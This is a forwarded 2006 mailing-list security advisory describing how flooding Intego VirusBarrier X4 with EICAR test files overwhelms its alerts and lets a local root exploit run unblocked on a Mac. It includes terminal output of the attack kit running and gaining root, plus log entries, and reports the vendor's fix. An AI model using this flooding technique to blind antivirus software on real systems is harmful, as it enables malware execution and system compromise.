<<< Date Index >>>     <<< Thread Index >>>

[Fwd: DMA[2006-1031a] - 'Intego VirusBarrier X4 definition bypass exploit']

I think the list spam trap ate this message a few weeks ago.
--- Begin Message --- This was supposed to go out on Halloween but it didn't... but either way all you Mac users can get scared or something. OOGA BOOGA!

Attachment: pwntego.tar.gz
Description: GNU Zip compressed data

DMA[2006-1031a] - 'Intego VirusBarrier X4 definition bypass exploit'
Author: Kevin Finisterre
Vendor(s): http://www.intego.com
Product: 'Intego VirusBarrier X4 <= VirusBarrierX47070.dmg'
References: 
http://www.digitalmunition.com/DMA[2006-1031a].txt

Description:
Intego VirusBarrier X4 is the simple, fast and non-intrusive antivirus security 
solution for Macintosh computers, by Intego, the 
leading publisher of personal security software for Macintosh. It offers 
thorough protection against viruses of all types, coming 
from infected files or applications, whether on CD-ROMs, DVDs or other 
removable media, or on files downloaded over the Internet 
or other types of networks.

Intego VirusBarrier X4 protects your computer from viruses by constantly 
examining all the files that your computer opens and 
writes, as well as watching for suspicious activity that may be the sign of 
viruses acting on applications or other files. With 
Intego VirusBarrier X4 on your computer, you can rest assured that your 
Macintosh has the best protection available against 
viruses of all kinds.

Although VirusBarrier does a pretty good job of halting malicous activity the 
product currently suffers from a flaw related to the 
amount of alerts that it can process simultaneously. If an attacker is able to 
trigger multiple alerts in succession within a very 
short amount of time he or she may be able cause VirusBarrier to completely 
ignore positive matches against virus definitions. The
consequences of ignored matches may include full system compromise or further 
spreading of malware.

As an example we will show how VirusBarrier normally stops a local root exploit 
with behavior similar to 'OSX.ExploitMachex.A', then 
we will demonstrate how the VirusBarrier protection can be bypassed by using a 
simple flood of Eicar Test files. 

Any typical attempt to access or execute a file or program that is a match for 
a VirusBarrier definition results in an alert on the
user interface. There is a sweet lookin insulin bottle on the screen that 
slowly empties as the virus nears eradication. 

'excploit' is infected by 'OSX.ExploitMachex.A' What would you like to do 
('Ignore' || 'Repair')? 

Selecting 'Ignore' allows the malicious code to execute as if no AntiVirus 
program existed at all. 

virusbarrier-users-ibook:/tmp virusbarrieruser$ ./excploit 
uid=0(root) gid=0(wheel) groups=0(wheel), 81(appserveradm), 79(appserverusr), 
80(admin)

On the other hand if you chose 'Repair' the process is terminated dead in its 
tracks and the file is nulled out: 

virusbarrier-users-ibook:/tmp virusbarrieruser$ ./excploit 
-bash: ./excploit: Operation not permitted
virusbarrier-users-ibook:/tmp virusbarrieruser$ ls -al excploit 
-rwxr-xr-x   1 virusbar  wheel  0 Oct 31 02:02 excploit

The above output demonstrates how Virusbarrier is supposed to work. Under 
normal circumstances this would be adequate to stop a 
malicious attack. 

If however an attacker floods the file system with dummy virus files at a quick 
rate the VirusBarrier software will promptly stop 
responding after presenting the user with a few audible and visual alerts. 
After about 40 some odd infected files in a row the 
system will become confused and in some cases VirusBarrier may stop responding 
completely. (Intego confirmed a limit of 20 files)

When under attack the user may see dozens of messages on the screen. With our 
example code the messages are similar to the following: 

'0.92815455662033' is infected by 'EICAR Test' What would you like to do ?

>From the attackers standpoint the exploitation is fairly quick and simple. Our 
>example uses a local root exploit however this tactic
could easily be applied to any existing malware technique that Intego 
VirusBarrier protects against. Code could in theory be run as a 
precurser to an InqTana attack as a means to bypass the Intego protection. The 
existing signatures for InqTana A B C and D would 
then be completely useless and an E variant would be born. 

virusbarrier-users-ibook:~ virusbarrieruser$ cd ~/Desktop/pwntego
virusbarrier-users-ibook:~/Desktop/pwntego virusbarrieruser$ ls
Pwntego.pl      Pwntego.sh      README.txt      pwntego.uu      rand-eicar.pl
virusbarrier-users-ibook:~/Desktop/pwntego virusbarrieruser$ ./Pwntego.pl 
rm: /tmp/objc_sharing_ppc_92: Permission denied
;p;P;p;p;p;P;p;p;p;P;p;p;p;P;p;p;p;P;p;p;p;P;p;p;p;P;p;p;p;P;p;p;p;P;p;p;p;P;p;p;p;P;p;p;p;P;p;p;p;P;p;p;p;P;p;p;p;P;p;p;p;P;p;p;p;P
;p;p;p;P;p;p;p;P;p;p;p;P;p;p;p;P;p;p;p;P;p;p;p;P;p;p;p;P;p;p;p;P;p;p;p;P;p;p;p;P;p;p;p;P;p;p;p;P;p;p;p;P;p;p;p;P;p;p;p;P;p;p;p;P;p;p
;p;P;p;p;p;P;p;p;p;P;p;p;p;P;p;p;p;P;p;p
Injecting pwnacillin shot
;p;P;p;p;p;P;p;p;p;P;p;puid=0(root) gid=0(wheel) groups=0(wheel), 
81(appserveradm), 79(appserverusr), 80(admin)
rm: /tmp/objc_sharing_ppc_92: Permission denied

In the above example 'OSX.ExploitMachex.A' is being executed on a machine that 
is actively protected by VirusBarrier. In a matter of 
seconds the Intego engine is flooded and the attacker has the ability to 
completely ignore any Intego virus and malware definitions. 

One fun side effect of this attack is that the user must manually ignore a 
number of alerts. The users is either forced to Wait for 
each alert to timeout on its own after several seconds or respond individually 
to each one. 

This attack has a fairly obvious signature in syslog if the attacker is making 
use of the example code provided in this text. 
Obviousyly using random viruses and better random locations and names is a 
possible vactor for a crafty attacker.  

virusbarrier-users-ibook:/var/log root# tail -n 30 /var/log/vbmgvx.log 
Tue Oct 31 02:01:59 2006 - File infected: /private/tmp/excploit by 
OSX.ExploitMachex.A
Tue Oct 31 02:03:35 2006 - File infected: /private/tmp/0.928154556620033 by 
EICAR Test
Tue Oct 31 02:03:36 2006 - File infected: /private/tmp/0.61298609695314 by 
EICAR Test
Tue Oct 31 02:03:36 2006 - File infected: /private/tmp/0.162308515588851 by 
EICAR Test
Tue Oct 31 02:03:36 2006 - File infected: /private/tmp/0.0414842034961147 by 
EICAR Test
Tue Oct 31 02:03:36 2006 - File infected: /private/tmp/0.170612903152691 by 
EICAR Test
Tue Oct 31 02:03:36 2006 - File infected: /private/tmp/0.663680631042556 by 
EICAR Test
Tue Oct 31 02:03:36 2006 - File infected: /private/tmp/0.989461917736666 by 
EICAR Test
Tue Oct 31 02:03:36 2006 - File infected: /private/tmp/0.141391639438556 by 
EICAR Test
Tue Oct 31 02:03:36 2006 - File infected: /private/tmp/0.767640548831881 by 
EICAR Test
Tue Oct 31 02:03:37 2006 - File infected: /private/tmp/0.33160483146003 by 
EICAR Test
Tue Oct 31 02:03:37 2006 - File infected: /private/tmp/0.905278172650473 by 
EICAR Test
Tue Oct 31 02:03:37 2006 - File infected: /private/tmp/0.694262116056965 by 
EICAR Test
Tue Oct 31 02:03:37 2006 - File infected: /private/tmp/0.659224330986948 by 
EICAR Test
Tue Oct 31 02:03:37 2006 - File infected: /private/tmp/0.0702005096982283 by 
EICAR Test
Tue Oct 31 02:03:37 2006 - File infected: /private/tmp/0.708270066600888 by 
EICAR Test
Tue Oct 31 02:03:37 2006 - File infected: /private/tmp/0.59629Vixen08698 by 
EICAR Test
Tue Oct 31 02:03:38 2006 - File infected: /private/tmp/0.56121Nixen47099 by 
EICAR Test
Tue Oct 31 02:03:38 2006 - File infected: /private/tmp/0.56036Rocks!6377 by 
EICAR Test
Tue Oct 31 02:03:38 2006 - File infected: /private/tmp/0.184830066600818 by 
EICAR Test
Tue Oct 31 02:03:38 2006 - File infected: /private/tmp/0.783363853189261 by 
EICAR Test

With the current fixes in place once VirusBarrier gets 19 alerts, the next 
malware is simply quarantined until the administrator can
repair them. In our example, the additional processes get a permission error 
when they are executed.

Of course since everyone knows there is no malware for Macintosh this scenario 
would quite simply never be encountered..... *smirk* 

The Intego staff was more than helpful and willing to address this issue in a 
timely fashion. After communications were established
this problem was addressed, and fixes were out the door to customers in a 
matter of 2 days. How about that for turn around time!

Workaround: 

Please update to the latest version of Intego Virus Barrier and the latest 
Vdefs. 
http://www.intego.com/services/updates.asp?product=VirusBarrier

Intego has fixed this bug in the 2006/11/01 Vdef files.

--- End Message ---